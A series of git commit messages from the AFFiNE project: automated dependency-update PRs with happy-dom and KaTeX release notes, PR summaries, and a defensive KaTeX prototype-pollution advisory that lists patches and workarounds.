[#&#8203;2300](https://redirect.github.com/capricorn86/happy-dom/issues/2300)

###
[`v20.11.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.5)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.4...v20.11.5)

##### 👷‍♂️ Patch fixes

- Allow explicit element types for querySelector (e.g.
`querySelector<HTMLInputElement>(".my-input")`) - By
**[@&#8203;cyphercodes](https://redirect.github.com/cyphercodes)**

###
[`v20.11.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.4)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.3...v20.11.4)

##### 👷‍♂️ Patch fixes

- Fixes the CORS check `fetch()` to match origins instead of host and
protocol - By **[@&#8203;rexxars](https://redirect.github.com/rexxars)**
in task
[#&#8203;1490](https://redirect.github.com/capricorn86/happy-dom/issues/1490)

###
[`v20.11.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.3)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.2...v20.11.3)

##### 👷‍♂️ Patch fixes

- Make document.links return a live HTMLCollection - By
**[@&#8203;bangseongbeom](https://redirect.github.com/bangseongbeom)**
in task
[#&#8203;2299](https://redirect.github.com/capricorn86/happy-dom/issues/2299)
- Copy labels array to prevent mutation of cached querySelectorAll
result - By
**[@&#8203;mixelburg](https://redirect.github.com/mixelburg)** in task
[#&#8203;2226](https://redirect.github.com/capricorn86/happy-dom/issues/2226)

###
[`v20.11.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.1...v20.11.2)

##### 👷‍♂️ Patch fixes

- MutationObserver callback being GC'd due to orphaned WeakRef - By
**[@&#8203;mixelburg](https://redirect.github.com/mixelburg)** in task
[#&#8203;2264](https://redirect.github.com/capricorn86/happy-dom/issues/2264)

###
[`v20.11.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.0...v20.11.1)

##### 👷‍♂️ Patch fixes

- Improve performance of query selectors by avoiding construction of
DOMException when not needed - By
**@&#8203;[@&#8203;cyfung1031](https://redirect.github.com/cyfung1031)**
in task
[#&#8203;2228](https://redirect.github.com/capricorn86/happy-dom/issues/2228)

###
[`v20.11.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.6...v20.11.0)

##### 🎨 Features

- Adds support for [CookieStore
API](https://developer.mozilla.org/en-US/docs/Web/API/Cookie_Store_API)
- By
**[@&#8203;TrevorBurnham](https://redirect.github.com/TrevorBurnham)**
in task
[#&#8203;1864](https://redirect.github.com/capricorn86/happy-dom/issues/1864)
- Adds support for
[Element.checkVisibility()](https://developer.mozilla.org/en-US/docs/Web/API/Element/checkVisibility)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;1506](https://redirect.github.com/capricorn86/happy-dom/issues/1506)

###
[`v20.10.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.6)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.5...v20.10.6)

##### 👷‍♂️ Patch fixes

- Await NodeJS internal ReadableStream promise during teardown - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2217](https://redirect.github.com/capricorn86/happy-dom/issues/2217)

###
[`v20.10.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.5)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.4...v20.10.5)

##### 👷‍♂️ Patch fixes

- Adds cache to query selector parser - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2142](https://redirect.github.com/capricorn86/happy-dom/issues/2142)
- The selector parser degraded in performance in v20.6.3 to solve more
complex selectors
- Parsing is still a bit slower, but the cache will hopefully mitigate
most of the problem

###
[`v20.10.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.4)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.3...v20.10.4)

##### 👷‍♂️ Patch fixes

- Coerce null qualifiedName to empty string in createDocument - By
**[@&#8203;Firer](https://redirect.github.com/Firer)** in task
[#&#8203;2206](https://redirect.github.com/capricorn86/happy-dom/issues/2206)

###
[`v20.10.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.3)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.2...v20.10.3)

##### 👷‍♂️ Patch fixes

- Fix "\~=" attribute selector matching hyphenated substrings in CSS
selectors - By
**[@&#8203;mixelburg](https://redirect.github.com/mixelburg)** in task
[#&#8203;2194](https://redirect.github.com/capricorn86/happy-dom/issues/2194)

###
[`v20.10.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.1...v20.10.2)

##### 👷‍♂️ Patch fixes

- Updates external dependencies - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2163](https://redirect.github.com/capricorn86/happy-dom/issues/2163)

###
[`v20.10.1`](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.0...v20.10.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.0...v20.10.1)

###
[`v20.10.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.9.0...v20.10.0)

##### 🎨 Features

- Adds support for setting a canvas adapter for handling the canvas
rendering using the browser setting
[canvasAdapter](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings)
- By **[@&#8203;RAprogramm](https://redirect.github.com/RAprogramm)**
and **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds new package
[@&#8203;happy-dom/node-canvas-adapter](https://redirect.github.com/capricorn86/happy-dom/tree/master/packages/%40happy-dom/node-canvas-adapter)
- By **[@&#8203;RAprogramm](https://redirect.github.com/RAprogramm)**
and **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
-
[@&#8203;happy-dom/node-canvas-adapter](https://redirect.github.com/capricorn86/happy-dom/tree/master/packages/%40happy-dom/node-canvas-adapter)
is a pluggable canvas adapter for Happy DOM using
[node-canvas](https://redirect.github.com/Automattic/node-canvas).
- Adds support for loading image files when enabling the browser setting
[enableImageFileLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds support for loading image data URLs - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds support for
[ImageData](https://developer.mozilla.org/en-US/docs/Web/API/ImageData)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds support for
[ImageBitmap](https://developer.mozilla.org/en-US/docs/Web/API/ImageBitmap)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds support for
[Window.createImageBitmap()](https://developer.mozilla.org/en-US/docs/Web/API/Window/createImageBitmap)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)

###
[`v20.9.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.9.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.8.9...v20.9.0)

##### 🎨 Features

- Adds support for event listener properties on Window (e.g.
`Window.onkeydown`) - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2131](https://redirect.github.com/capricorn86/happy-dom/issues/2131)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-25 13:21:34 +08:00
DarkSky e32f8dce04 chore: bump deps (#15729)
#### PR Dependency Tree


* **PR #15729** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## Summary by CodeRabbit

* **Deployment**
* Updated the Cloud SQL Proxy image and integrated it with deployment
charts.
* Containers now run with stricter security settings, including non-root
execution and read-only filesystems.
* **Desktop**
* Updated Electron and Node versions and adjusted Windows builds to
support multiple architectures.
* **Maintenance**
  * Updated Vite and Storybook versions across development tools.
  * Improved production GraphQL schema handling.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-22 16:38:31 +08:00
DarkSky 9be1a8284a feat: bump deps (#15698)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Workspace selection, creation, and navigation after import now use
consistent view transitions, including in browsers without native
transition support.
* **Chores**
* Updated supporting components for mathematical notation, diagrams,
desktop functionality, and backend services.
* Refreshed tools used by the app and its documentation, including
components for error reporting and GraphQL operations. These updates do
not change the rendered equations.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-10 23:28:25 +08:00
DarkSky a047628f82 feat(server): transcript truncated (#15697)
fix #14261


#### PR Dependency Tree


* **PR #15697** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Meeting transcription can process longer recordings in shorter
sections and combine the results into a transcript and summary.
* If a transcription provider blocks audio, recoverable sections can be
retried. Unavailable sections are marked in the transcript, and
summaries focus on available speech.
* Transcript timestamps are aligned with their audio sections, including
when providers return timestamps in different formats.
* **Bug Fixes**
* Audio transcription failures now display a clear, localized message,
with details available on focus. Long error text wraps within the
player.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-10 20:29:08 +08:00
DarkSky 1e725357af fix(native): improve obsidian & onenote import (#15695)
fix #15659
fix #15629

replace #15640

#### PR Dependency Tree


* **PR #15695** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Import Improvements**
* Repeated imports now update existing documents without duplicating
folder links, while preserving existing dates and metadata.
* Invalid document snapshots are rejected without replacing previously
imported content.
  * Existing folders with matching names are reused during import.

* **Removed Support**
  * OneNote file and notebook imports are no longer available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-10 17:56:47 +08:00
renovate[bot] 1c90d02b0c chore: bump up katex version to ^0.18.0 [SECURITY] (#15680)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [katex](https://katex.org)
([source](https://redirect.github.com/KaTeX/KaTeX)) | [`^0.16.27` →
`^0.18.0`](https://renovatebot.com/diffs/npm/katex/0.16.47/0.18.2) |
![age](https://developer.mend.io/api/mc/badges/age/npm/katex/0.18.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/katex/0.16.47/0.18.2?slim=true)
|

---

### KaTeX: Existing prototype pollution can bypass trust restrictions
[CVE-2026-103923](https://nvd.nist.gov/vuln/detail/CVE-2026-103923) /
[GHSA-238p-pmpm-9mq7](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7)

<details>
<summary>More information</summary>

#### Details
##### Impact

KaTeX can act as a read-side prototype pollution gadget in applications
where `Object.prototype` has already been polluted, or where an attacker
can influence the prototype of the renderer options object. (KaTeX does
not enable said prototype pollution. This advisory applies when
combining KaTeX with other vulnerable software that allows for prototype
pollution.)

Affected versions may treat inherited properties from `Object.prototype`
as renderer options, internal setting metadata, or namespace entries. In
particular, an inherited `trust` value will be treated as though the
application explicitly enabled trusted rendering, rather than using the
documented default of `false`.

With attacker-controlled mathematical expressions, this can produce
links capable of user-interaction cross-site scripting or load
attacker-selected external resources. Exploitation requires the
consuming application to insert KaTeX output into a web page without a
separate sanitizer. (KaTeX does not execute scripts merely by rendering
an expression.)

Other inherited settings can alter rendering behavior or resource
limits. Inherited setting metadata can affect how defaults and supplied
options are processed, while inherited namespace properties can be
mistaken for defined macros or other internal values.

##### Patches

Upgrade to KaTeX v0.18.2 to remove this vulnerability.

##### Workarounds

- Address any prototype-pollution vulnerability in the application or
its dependencies.
- `delete Object.prototype.trust`, `delete Object.prototype.default`,
and `delete Object.prototype.processor` before calling KaTeX
- Do not allow untrusted input to control the renderer options object or
its prototype.
- Sanitize KaTeX-generated HTML before inserting it into a document.

##### Details

KaTeX previously used ordinary JavaScript property access in the
following contexts:

- Renderer settings could be inherited from the prototype of the options
object.
- Internal `default` and `processor` setting metadata could be inherited
from `Object.prototype`.
- Namespace lookup could treat inherited properties as built-in
definitions.
- Namespace group restoration could preserve an inherited property as
though it had been an explicitly defined value.

The fix adds own-property checks to each of these paths. Inherited
properties are no longer accepted as renderer settings, setting
metadata, namespace definitions, or values to be restored after a group
ends.

##### For more information

If you have any questions or comments about this advisory:

- Open an issue or security advisory in the [KaTeX
repository](https://redirect.github.com/KaTeX/KaTeX/)
- Email us at [katex-security@mit.edu](mailto:katex-security@mit.edu)

#### Severity
- CVSS Score: 2.1 / 10 (Low)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N`

#### References
-
[https://github.com/KaTeX/KaTeX/security/advisories/GHSA-238p-pmpm-9mq7](https://redirect.github.com/KaTeX/KaTeX/security/advisories/GHSA-238p-pmpm-9mq7)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-103923](https://nvd.nist.gov/vuln/detail/CVE-2026-103923)
-
[https://github.com/KaTeX/KaTeX/pull/4260](https://redirect.github.com/KaTeX/KaTeX/pull/4260)
-
[https://github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4](https://redirect.github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4)
-
[https://github.com/KaTeX/KaTeX/releases/tag/v0.18.2](https://redirect.github.com/KaTeX/KaTeX/releases/tag/v0.18.2)
-
[https://github.com/advisories/GHSA-238p-pmpm-9mq7](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>KaTeX/KaTeX (katex)</summary>

###
[`v0.18.2`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0182-2026-08-08)

[Compare
Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.18.1...v0.18.2)

##### Bug Fixes

- prevent prototype pollution in settings
([#&#8203;4260](https://redirect.github.com/KaTeX/KaTeX/issues/4260))
([0adf7e7](https://redirect.github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4))

###
[`v0.18.1`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#01811-2026-10-01)

[Compare
Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.18.0...v0.18.1)

##### Features

- handle character metrics warnings via `strict`
([#&#8203;4243](https://redirect.github.com/KaTeX/KaTeX/issues/4243))
([4237070](https://redirect.github.com/KaTeX/KaTeX/commit/423707055a37803acafef4c1533832273192ea0e))

###
[`v0.18.0`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0180-2026-07-17)

[Compare
Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.17.0...v0.18.0)

##### Features

- prefix css classes
([#&#8203;4229](https://redirect.github.com/KaTeX/KaTeX/issues/4229))
([6f5c44f](https://redirect.github.com/KaTeX/KaTeX/commit/6f5c44f69bae0703877a3a8d934e20c47bbbbc32))

##### BREAKING CHANGES

- users who apply custom styles or have allowlists targeting KaTeX's
internal classes must update their selectors.

###
[`v0.17.0`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0170-2026-05-22)

[Compare
Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.47...v0.17.0)

##### Performance Improvements

- simplify `defineFunction` to avoid destructuring, improve typing
([#&#8203;4222](https://redirect.github.com/KaTeX/KaTeX/issues/4222))
([fb604e6](https://redirect.github.com/KaTeX/KaTeX/commit/fb604e6ba63e99809e242d37f9c8359209d55431))

##### BREAKING CHANGES

- The internal API for `__defineFunction` changed: you should no longer
wrap properties in `props`.

####
[0.16.47](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.46...v0.16.47)
(2026-05-16)

##### Bug Fixes

- correct size of `[` big delimiter
([#&#8203;4217](https://redirect.github.com/KaTeX/KaTeX/issues/4217))
([7ba0027](https://redirect.github.com/KaTeX/KaTeX/commit/7ba0027d2f04abddd3b215362f867ab8260b09d7)),
closes
[#&#8203;4215](https://redirect.github.com/KaTeX/KaTeX/issues/4215)

####
[0.16.46](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.45...v0.16.46)
(2026-05-13)

##### Bug Fixes

- preserve math font in some styling commands
([#&#8203;4214](https://redirect.github.com/KaTeX/KaTeX/issues/4214))
([e9ee046](https://redirect.github.com/KaTeX/KaTeX/commit/e9ee0464ddb31da9bf9649eeb70e52236e7a974a)),
closes
[#&#8203;4213](https://redirect.github.com/KaTeX/KaTeX/issues/4213)

####
[0.16.45](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.44...v0.16.45)
(2026-04-05)

##### Bug Fixes

- wrap vcenter mpadded in mrow for valid MathML
([#&#8203;4193](https://redirect.github.com/KaTeX/KaTeX/issues/4193))
([ee66b78](https://redirect.github.com/KaTeX/KaTeX/commit/ee66b78d24340edbbd05b08a4a429ce9ed158b25)),
closes
[#&#8203;4078](https://redirect.github.com/KaTeX/KaTeX/issues/4078)

####
[0.16.44](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.43...v0.16.44)
(2026-03-27)

##### Bug Fixes

- remove extra \jot space at bottom of align/gather/etc.
([#&#8203;4184](https://redirect.github.com/KaTeX/KaTeX/issues/4184))
([3870ee9](https://redirect.github.com/KaTeX/KaTeX/commit/3870ee913e27fdde7bce244e4c6c5d63e2b28a62))

####
[0.16.43](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.42...v0.16.43)
(2026-03-26)

##### Bug Fixes

- use makeEm() consistently to truncate long CSS decimals
([#&#8203;4181](https://redirect.github.com/KaTeX/KaTeX/issues/4181))
([0967dcc](https://redirect.github.com/KaTeX/KaTeX/commit/0967dcc0278f20d4501a93f01c7343c70abb3fcd))

####
[0.16.42](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.41...v0.16.42)
(2026-03-24)

##### Features

- \underbracket and \overbracket
([#&#8203;4147](https://redirect.github.com/KaTeX/KaTeX/issues/4147))
([5be9abb](https://redirect.github.com/KaTeX/KaTeX/commit/5be9abb0b4d687a2a196b8adf9b5b9deeb60f7bc))

####
[0.16.41](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.40...v0.16.41)
(2026-03-24)

##### Bug Fixes

- \sout in text mode
([#&#8203;4173](https://redirect.github.com/KaTeX/KaTeX/issues/4173))
([e748578](https://redirect.github.com/KaTeX/KaTeX/commit/e748578b63e07ad30d5e404e60b04e5e794c0a5a))

####
[0.16.40](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.39...v0.16.40)
(2026-03-20)

##### Bug Fixes

- **css:** specify position: relative for .katex
([#&#8203;4170](https://redirect.github.com/KaTeX/KaTeX/issues/4170))
([020f0d8](https://redirect.github.com/KaTeX/KaTeX/commit/020f0d89567d59229bac5fc8d8f5832a9508a85f))

####
[0.16.39](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.38...v0.16.39)
(2026-03-19)

##### Bug Fixes

- middle dot in text mode
([#&#8203;4169](https://redirect.github.com/KaTeX/KaTeX/issues/4169))
([edb45b0](https://redirect.github.com/KaTeX/KaTeX/commit/edb45b0b17c7b33349ce5142fe39156da05cb4d8)),
closes
[#&#8203;3641](https://redirect.github.com/KaTeX/KaTeX/issues/3641)

####
[0.16.38](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.37...v0.16.38)
(2026-03-08)

##### Bug Fixes

- accent skew mixed with font specifiers
([#&#8203;4159](https://redirect.github.com/KaTeX/KaTeX/issues/4159))
([aea3375](https://redirect.github.com/KaTeX/KaTeX/commit/aea33758d6c98896017007d0244885301773856a)),
closes
[#&#8203;4121](https://redirect.github.com/KaTeX/KaTeX/issues/4121)

####
[0.16.37](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.36...v0.16.37)
(2026-03-06)

##### Bug Fixes

- negative-width `\hphantom` and symmetric `\smash`
([#&#8203;4153](https://redirect.github.com/KaTeX/KaTeX/issues/4153))
([d4799ca](https://redirect.github.com/KaTeX/KaTeX/commit/d4799cae585d909e2a4e3dedbebdc2f142998ca9))

####
[0.16.36](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.35...v0.16.36)
(2026-03-06)

##### Bug Fixes

- contrib esm bloat
([#&#8203;4157](https://redirect.github.com/KaTeX/KaTeX/issues/4157))
([2bde1ad](https://redirect.github.com/KaTeX/KaTeX/commit/2bde1adab2a23f61519145923329c915b04d4778))

####
[0.16.35](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.34...v0.16.35)
(2026-03-05)

##### Bug Fixes

- version number regression
([#&#8203;4155](https://redirect.github.com/KaTeX/KaTeX/issues/4155))
([db26b73](https://redirect.github.com/KaTeX/KaTeX/commit/db26b733805f2d0d71e82596475b313c8706557e))

####
[0.16.34](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.33...v0.16.34)
(2026-03-05)

##### Bug Fixes

- emoji with variation selector
([#&#8203;4151](https://redirect.github.com/KaTeX/KaTeX/issues/4151))
([c2606e5](https://redirect.github.com/KaTeX/KaTeX/commit/c2606e5db91ae199ee1ff0c8c2f7f9f70fcf589b))

####
[0.16.33](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.32...v0.16.33)
(2026-02-23)

##### Bug Fixes

- **scss:** forward variables to fonts module
([#&#8203;4146](https://redirect.github.com/KaTeX/KaTeX/issues/4146))
([9349a64](https://redirect.github.com/KaTeX/KaTeX/commit/9349a64a051ca408da713baf061e32ade80ed22a))

####
[0.16.32](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.31...v0.16.32)
(2026-02-22)

##### Bug Fixes

- italic separation in \mathnormal
([#&#8203;4143](https://redirect.github.com/KaTeX/KaTeX/issues/4143))
([71305a0](https://redirect.github.com/KaTeX/KaTeX/commit/71305a05140ca6203092bfdc14f689168b26ab8c))

####
[0.16.31](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.30...v0.16.31)
(2026-02-22)

##### Bug Fixes

- `\*frac` sizing
([#&#8203;4137](https://redirect.github.com/KaTeX/KaTeX/issues/4137))
([ef51f18](https://redirect.github.com/KaTeX/KaTeX/commit/ef51f18ded4ab9ba54ba750f2866241c4676c41c))

####
[0.16.30](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.29...v0.16.30)
(2026-02-22)

##### Bug Fixes

- no line breaks after `\not`
([#&#8203;4140](https://redirect.github.com/KaTeX/KaTeX/issues/4140))
([2d1ba86](https://redirect.github.com/KaTeX/KaTeX/commit/2d1ba86143bd45540d5a773cfa456081318f3f33))

####
[0.16.29](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.28...v0.16.29)
(2026-02-22)

##### Bug Fixes

- `\imath` and other `\html@mathml` macros in arguments
([#&#8203;4139](https://redirect.github.com/KaTeX/KaTeX/issues/4139))
([a850cce](https://redirect.github.com/KaTeX/KaTeX/commit/a850cce7ccbf95a0b187313d1e54d8d40dfc7273))

####
[0.16.28](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.27...v0.16.28)
(2026-01-25)

##### Bug Fixes

- **type:** add missing types definition path to package.json
([#&#8203;4125](https://redirect.github.com/KaTeX/KaTeX/issues/4125))
([0ef8921](https://redirect.github.com/KaTeX/KaTeX/commit/0ef8921d189346b0ff8f84a77f7f552349b76893))

####
[0.16.27](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.26...v0.16.27)
(2025-12-07)

##### Features

- support equals sign and surrounding whitespace in \htmlData attribute
values
([#&#8203;4112](https://redirect.github.com/KaTeX/KaTeX/issues/4112))
([c77aaec](https://redirect.github.com/KaTeX/KaTeX/commit/c77aaec00c766f5bb02e332a1dc416b82a65fe8f))

####
[0.16.26](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.25...v0.16.26)
(2025-12-07)

##### Bug Fixes

- \mathop followed by integral symbol
([6fbad18](https://redirect.github.com/KaTeX/KaTeX/commit/6fbad18857351e4d2a88ed3e3348bd76caad9be3))

####
[0.16.25](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.24...v0.16.25)
(2025-10-13)

##### Features

- **css:** provide `katex-swap.css` that uses `font-display: swap`
([#&#8203;3940](https://redirect.github.com/KaTeX/KaTeX/issues/3940))
([b3f9ce6](https://redirect.github.com/KaTeX/KaTeX/commit/b3f9ce691e89a52dea7ec8f10cc6ed4ddc8fc161)),
closes
[#&#8203;2242](https://redirect.github.com/KaTeX/KaTeX/issues/2242)

####
[0.16.24](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.23...v0.16.24)
(2025-10-12)

##### Features

- support hex colors with alpha
([#&#8203;4090](https://redirect.github.com/KaTeX/KaTeX/issues/4090))
([8c9b306](https://redirect.github.com/KaTeX/KaTeX/commit/8c9b3063965acc0d6e6a0b6df4d051169de9e1a9)),
closes
[#&#8203;4067](https://redirect.github.com/KaTeX/KaTeX/issues/4067)
[#fA6](https://redirect.github.com/KaTeX/KaTeX/issues/fA6)
[#fA6f1](https://redirect.github.com/KaTeX/KaTeX/issues/fA6f1)

####
[0.16.23](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.22...v0.16.23)
(2025-10-03)

##### Bug Fixes

- Support `\def` with arguments via `macros` option
([#&#8203;4087](https://redirect.github.com/KaTeX/KaTeX/issues/4087))
([80a8158](https://redirect.github.com/KaTeX/KaTeX/commit/80a815856a8c26d78b3669e9c05fff00efe82247))

####
[0.16.22](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.21...v0.16.22)
(2025-04-09)

##### Bug Fixes

- \relax in base or exponent of super/subscript
([#&#8203;4045](https://redirect.github.com/KaTeX/KaTeX/issues/4045))
([1f43c84](https://redirect.github.com/KaTeX/KaTeX/commit/1f43c84a175fb689f8c8d1d72b1e8b896a8b43d1))

####
[0.16.21](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.20...v0.16.21)
(2025-01-17)

##### Bug Fixes

- escape \htmlData attribute name
([57914ad](https://redirect.github.com/KaTeX/KaTeX/commit/57914ad91eff401357f44bf364b136d37eba04f8))

####
[0.16.20](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.19...v0.16.20)
(2025-01-12)

##### Bug Fixes

- \providecommand does not overwrite existing macro
([#&#8203;4000](https://redirect.github.com/KaTeX/KaTeX/issues/4000))
([6d30fe4](https://redirect.github.com/KaTeX/KaTeX/commit/6d30fe47b06f9da9b836fe518d5cbbecf6a6a3a1)),
closes
[#&#8203;3928](https://redirect.github.com/KaTeX/KaTeX/issues/3928)

####
[0.16.19](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.18...v0.16.19)
(2024-12-29)

##### Bug Fixes

- **types:** improve `strict` function type
([#&#8203;4009](https://redirect.github.com/KaTeX/KaTeX/issues/4009))
([4228b4e](https://redirect.github.com/KaTeX/KaTeX/commit/4228b4eb529b8e35def66cc6e4fa467383b98c86))

####
[0.16.18](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.17...v0.16.18)
(2024-12-18)

##### Bug Fixes

- Actually publish TypeScript type definitions
([#&#8203;4008](https://redirect.github.com/KaTeX/KaTeX/issues/4008))
([629b873](https://redirect.github.com/KaTeX/KaTeX/commit/629b87354fdfc04a3769f09b69f6bbadebcb9ae8))

####
[0.16.17](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.16...v0.16.17)
(2024-12-17)

##### Bug Fixes

